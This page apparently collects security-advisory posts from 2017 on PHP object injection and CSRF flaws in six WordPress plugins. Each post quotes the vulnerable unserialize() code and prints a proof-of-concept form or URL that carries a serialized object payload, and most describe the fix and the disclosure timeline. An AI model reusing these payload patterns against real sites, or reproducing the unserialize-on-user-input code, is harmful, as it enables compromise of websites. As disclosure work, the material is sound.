06 Oct

Authenticated PHP Object Injection Vulnerability in Event List

Since June we have been doing proactive monitoring of changes made to plugins to try to catch serious vulnerabilities. So far that has lead to identifying existing vulnerabilities, newly introduced vulnerabilities, newly introduced vulnerabilities in brand new plugins, and vulnerabilities being fixed. For the first time it has lead to us identifying a vulnerability in a plugin that has been removed from the Plugin Directory. It appears the plugin has been through at least one review by the Plugin Directory team that doesn’t look to have caught this vulnerability. That in itself it is not major concern, but the fact that there doesn’t appear to be any publicly available info on the review process, which others could review and then provide suggestions for improvements that could be made, is more of an concern.

There clearly is room for improvement with review process as we have found that the reviews have failed to make sure that the vulnerabilities that caused plugins to removed have been fixed even when they may already be being exploited and also that the handling of those reviews has caused some developers to abandon plugins or abandon having their plugin in the Plugin Directory. The later happened with the very popular Contact Form DB plugin and lead to a lot of websites being less secure.

Since the developer of the plugin we found this vulnerability in, Event Listdoesn’t provide a method to privately disclose vulnerabilities the issues we found with it are now public, so we are providing the details here now even though they haven’t been fixed and the plugin is not currently available in the Plugin Directory.

The plugin makes its main admin page available to anyone with the “edit_posts” capability, which is normally contributor-level and above users:

48
add_menu_page(__('Event List','event-list'), __('Event List','event-list'), 'edit_posts', 'el_admin_main', array(&$this, 'show_main_page'), 'dashicons-calendar-alt', '22.2');

The function that is called when requesting the main page show_main_page() will then call the page show_main(). That function, located in the file /admin/includes/admin-main.php, checks if the user has the “edit_posts” capability (even though that has already been checked for) and then if the specified action is “import” it will run the function show_import():

77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
public function show_main() {
	// check permissions
	if(!current_user_can('edit_posts')) {
		wp_die(__('You do not have sufficient permissions to access this page.'));
	}
	// TODO: add check_admin_referer to improve security (see /wp-admin/edit.php)
	// is there POST data an event was edited must be updated
 
	// check for actions
	if($this->action) {
		switch($this->action) {
			// actions showing edit view
			case 'edit':
			case 'added':
			case 'modified':
				$this->show_edit_view($this->action);
				return;
			// actions showing import view
			case 'import':
				EL_Admin_Import::get_instance()->show_import();

That function show_import(), located in the file /admin/includes/admin-import.php, first again checks the user capability:

38
39
40
41
public function show_import() {
	if(!current_user_can('edit_posts')) {
		wp_die(__('You do not have sufficient permissions to access this page.'));
	}

Then a few lines down if the POST input “reviewed_events” exists the function import_events() will run:

51
52
elseif(isset($_POST['reviewed_events'])) {
	$import_error = $this->import_events();

The first thing that function, also located in the file /admin/includes/admin-import.php, does is unserialize the POST input “reviewed_events”, which permits PHP object injection to occur:

303
304
305
private function import_events() {
	// check used post parameters
	$reviewed_events = unserialize(stripslashes($_POST['reviewed_events']));

That means that there is an authenticated PHP object injection vulnerability accessible to contributor-level and above users. Nowhere in that code is there any protection against cross-site request forgery (CSRF), so the PHP object injection vulnerability is also exploitable that way. Also looking over the rest of the code handling imports into the plugin there is no CSRF protection, so in also in general the import functionality is susceptible to that type of vulnerability.

Update (October 9, 2017): Version 0.7.11 has been released, which resolves the PHP object injection issue by replacing usage of unserialize() with json_decode() (and replacing related usage of serialize() with json_encode()).

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown, when logged in as a Contributor-level or above user.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=el_admin_main&action=import" method="POST">
<input type="hidden" name="reviewed_events" value='O:20:"php_object_injection":0:{}' />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • October 6, 2017 – Developer notified.
  • October 8, 2017 –  Version 0.7.11 released, which resolves the PHP object injection issue.
25 Sep

Cross-Site Request Forgery (CSRF)/PHP Object Injection Vulnerability in Shoppable Images Lite

Back in June we introduced a new feature to our service where we are trying to proactively catch some serious vulnerabilities in WordPress plugins. The original idea was to catch vulnerabilities as they are newly introduced to the plugin, but when we started working on doing that we realized that it would also catch existing vulnerabilities if they were in code being changed in a plugin. At the end of August, for the first time we caught a serious vulnerability as it was introduced in to a plugin. For the second instance of that occurring, which happened the next week, not only did we catch a vulnerability as it was introduced, but with the first version of the plugin. That should be a good reminder that the review done before a plugin is allowed in to the Plugin Directory does not insure that the plugin is secure at the time it is introduced.

The vulnerability is a cross-site request forgery (CSRF)/PHP object injection vulnerability in the plugin Shoppable Images Lite.

In the first version of the plugin, when visiting the plugin’s settings page in the admin area of WordPress, which is accessible to users with the “manage_options” capability, the function show_admin_notices() would run. Here is that function, from the file /core/common/class-admin.php:

public function show_admin_notices() {
	$notices = self::$notices;

	foreach( $notices as $notice ) {
		echo '>div class="notice is-dismissible notice-'.$notice['class'].'">>p>'.$notice['message'].'>/p>>/div>';
	}

	if(isset($_GET['notice']) && isset($_GET['page']) && $_GET['page'] === Config_Manager::$slug){
		$notice = unserialize(base64_decode($_GET['notice']));
		echo '>div class="notice is-dismissible notice-'.$notice['class'].'">>p>'.$notice['message'].'>/p>>/div>';
	}
}

If the GET input “notice” exists the value of it will be unserialized, which permits PHP object injection.

If an attacker could get someone with the “manage_options” capability, which is normally only Administrators, to visit a specified URL they could cause that user to unintentionally cause PHP object injection to occur.

It also looks possible for there to be reflected cross-site scripting (XSS) due to the GET input being echo’d, but in a quick look we ran into issues with serialization/unserialization of HTML tags.

After we notified the developer they released version 1.0.1, which fixed the vulnerability by removing the function show_admin_notices().

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” to be shown, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/options-general.php?page=mabel-shoppable-images-lite&notice=TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30%3D

Timeline

  • September 5, 2017 – Developer notified.
  • September 6, 2017 – Developer responds.
  • September 23, 2017 – Version 1.0.1 released.
08 Sep

Cross-Site Request Forgery (CSRF)/PHP Object Injection Vulnerability in BackupBuddy

Back in June we introduced a new feature to the service where we are proactively monitor changes made to plugins to try to catch serious vulnerabilities in plugins. To do that we first identify possible vulnerable code running a series of regular expressions over the changes being made to plugins in the Plugin Directory and then we manually check over any results that we haven’t previously reviewed. We recently have been seeing if doing that with the plugins installed in websites that we are doing hack cleanups of would be useful. Through that we found a cross-site request forgery (CSRF)/PHP object injection vulnerability in BackupBuddy, which is exploitable in multisite based WordPress installs.

The plugin features a beta multisite feature, which currently can be turned on by adding a line to the WordPress configuration file:

define( 'PB_BACKUPBUDDY_MULTISITE_EXPERIMENT', true );

With that enabled the admin page Multisite Import Site is accessible in the Network Admin.

When that page is visited the file /controllers/pages/multisite_import.php is loaded, which will create a new instance class pluginbuddy_ms_import. In that class, also defined in that file, the __construct will run the following code:

79
80
81
82
// Set advanced options if they have been passed along.
if ( isset( $_POST['global_options'] ) &amp;&amp; ( $_POST['global_options'] != '' ) ) {
	$this-&gt;advanced_options = unserialize( base64_decode( $_POST['global_options'] ) );
}

That code will unserialize the value of the POST input “global_options” if exists, which permits PHP object injection. There is no nonce check that occurs before that happens, so the code is susceptible to cross-site request forgery.

The makers of this plugin are also the makers of the popular WordPress security plugin iThemes Security, so you might expect that they would make easy to report vulnerabilities in their software, but we were unable to find any way to do that. That may not be all that surprising if know the reality that despite being a popular plugin, the plugin doesn’t protect against one of the few threats it identifies as leading to websites being hacked and has done some questionable stuff. Because there wasn’t any contact available we sent a reply to them on Twitter a week ago asking how to provide the details, but we haven’t got any response.

This vulnerability won’t be included in our service’s data as the data is not created with multisite’s security profile in mind.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” to be shown when logged in to the Network Admin.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/network/admin.php?page=pb_backupbuddy_multisite_import" method="POST" >
<input type="hidden" name="global_options" value="TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
06 Sep

Cross-Site Request Forgery (CSRF)/PHP Object Injection Vulnerability in Ginger – EU Cookie Law

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are PHP object injection vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across a cross-site request forgery (CSRF)/PHP object injection vulnerability in the plugin Ginger – EU Cookie Law.

This vulnerability is a good example of the work that goes in that monitoring. While the first step is automated checking for possible vulnerabilities, we then need to review the code to see if there is in fact vulnerable and small differences can make all the difference in regards to that. In this case before getting to the code potentially vulnerable to PHP object injection there is nonce check, which is intended to prevent cross-site request forgery (CSRF) and depending on who had access to the nonce would also make it so there isn’t a vulnerability. A close look at the code shows that the nonce check is easily bypassed as it only happens if the POST input “submit” is include with a request (in the file /index.php):

13
14
15
if(isset($_POST["submit"]) && !wp_verify_nonce($_POST['save_ginger_export_options'], 'ginger_export_options')){
	return;
}

The next lines are where the PHP object injection vulnerability is (when unserialize() is run on the value of POST input “data”) and the POST input “submit” does not need to have been included in the request for it to run:

16
17
if(isset($_POST["action"]) && $_POST["action"] == "import"){
	if($newconf = @unserialize(stripslashes($_POST["data"]))) {

The function this all occurs in export() is only accessible to users with the manage_option capability, so without CSRF, there wouldn’t normally be a vulnerability because normally only Administrators have that capability and they can do almost anything they want:

8
add_submenu_page( 'ginger-setup', "Import Export", __("Import/Export", "ginger"), 'manage_options', 'ginger-export', 'ginger_export');

After notifying the developer of the issues they released version 4.1.4, which fixes the issue by checking for a valid nonce and replacing the usage of unserialize() with json_decode() (as well as replacing the usage of serialize() with json_encode()):

16
17
18
19
20
21
if(isset($_POST["action"]) && $_POST["action"] == "import"){
	$nonce = $_REQUEST['_wpnonce'];
	if ( ! wp_verify_nonce( $nonce, 'save_ginger_export_options' ) ) {
		exit; // Get out of here, the nonce is rotten!
	}
	if($newconf = json_decode(stripslashes($_POST["data"]), true)) {

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” to be shown, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=ginger-export" method="POST">
<input type="hidden" name="action" value="import" />
<input type="hidden" name="data" value='O:20:"php_object_injection":0:{}' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • August 10, 2017 – Developer notified.
  • August 11, 2017 – Developer responds.
  • September 6, 2017 – Version 4.1.4 released, which fixes vulnerability.
05 Sep

Authenticated PHP Object Injection Vulnerability in Media Library Assistant

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are PHP object injection vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across an authenticated PHP object injection vulnerability in the plugin Media Library Assistant.

The plugin makes it’s Media Library Assistant page in the admin area viable to users with the upload_files capability, which is normally available to Author-level and above users (in the file /includes/class-mla-main.php):

441
$hook = add_submenu_page( 'upload.php', $page_title, $menu_title, 'upload_files', MLACore::ADMIN_PAGE_SLUG, 'MLA::mla_render_admin_page' );

When that page is accessed the function get_views() in the class MLA_List_Table, which is located in the file /includes/class-mla-list-table.php, will run. If a request is sent to the page without a GET or POST input “post_mime_type” and with a GET or POST input “meta_query” then value of “meta_query” will be unserialized, which permits PHP object injection to occur:

1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
function get_views( ) {
	/*
	 * Find current view
	 */
	if ( $this->detached  ) {
		$current_view = 'detached';
	} elseif ( $this->attached ) {
		$current_view = 'attached';
	} elseif ( $this->is_trash ) {
		$current_view = 'trash';
	} elseif ( empty( $_REQUEST['post_mime_type'] ) ) {
		if ( isset( $_REQUEST['meta_query'] ) ) {
			$query = unserialize( stripslashes( $_REQUEST['meta_query'] ) );

The vulnerability can also be exploited through cross-site request forgery (CSRF).

The developer put in fix for the vulnerability in the development version of the plugin the same day we notified them of it, but a new version still has yet to be released a month later. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Update 10/19/17: Version 2.6.1 has now been released, which fixes the vulnerability by replacing the usage of unserialize() with json_decode() (as well replacing related usage or serialize() with json_encode().

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, visiting the following URL while logged in to WordPress as an Author-level user will cause the message “PHP object injection has occurred.” to be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/upload.php?page=mla-menu&meta_query=O:20:"php_object_injection":0:{}

Timeline

  • August 3, 2017 – Developer notified.
  • August 3, 2017 – Developer responds.
  • October 16, 2017 – Version 2.6.1 released, which fixes vulnerability.
28 Aug

Cross-Site Request Forgery (CSRF)/PHP Object Injection Vulnerability in Jayj Quicktag

We recently found that the plugin Jayj Quicktag contained a cross-site request forgery (CSRF)/PHP object injection vulnerability.

The plugin’s settings page is generated with the function jayj_quicktag_options_page() in the file /jayj-quicktag.php. In that file if the POST input “jayj-quicktag-import-save” exists then the maybe_unserialize() function will be run on the POST input “jayj-quicktag-import”, which permits PHP object injection to occur:

70
71
72
73
if ( isset( $_POST['jayj-quicktag-import-save'] ) ) :
 
	$options = get_option( 'jayj_qt_settings' );
	$data = maybe_unserialize( stripslashes_deep( $_POST['jayj-quicktag-import'] ) );

Access to the settings page is limited to users with the “manage_options” capability, which would normally only be Administrator-level users and therefore this would not be a vulnerability on its own since they would normally be able to do anything that could be accomplished through PHP object injection. Because there was not protection against cross-site request forgery (CSRF) an attacker could cause an administrator to cause PHP object injection without them intending it, which would be a vulnerability.

After we notified the developer, they released version 1.3.2, which fixes the vulnerability by replacing serialization/unserialization with JSON encoding/decoding and by using a nonce to prevent CSRF.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” to be shown, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=jayj-quicktag%2Fjayj-quicktag.php" method="POST">
<input type="hidden" name="jayj-quicktag-import-save" value="" />
<input type="hidden" name="jayj-quicktag-import" value='O:20:"php_object_injection":0:{}' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • August 25, 2017 – Developer notified.
  • August 27, 2017 – Developer responds.
  • August 28, 2017 – Version 1.3.2 released, which fixes vulnerability.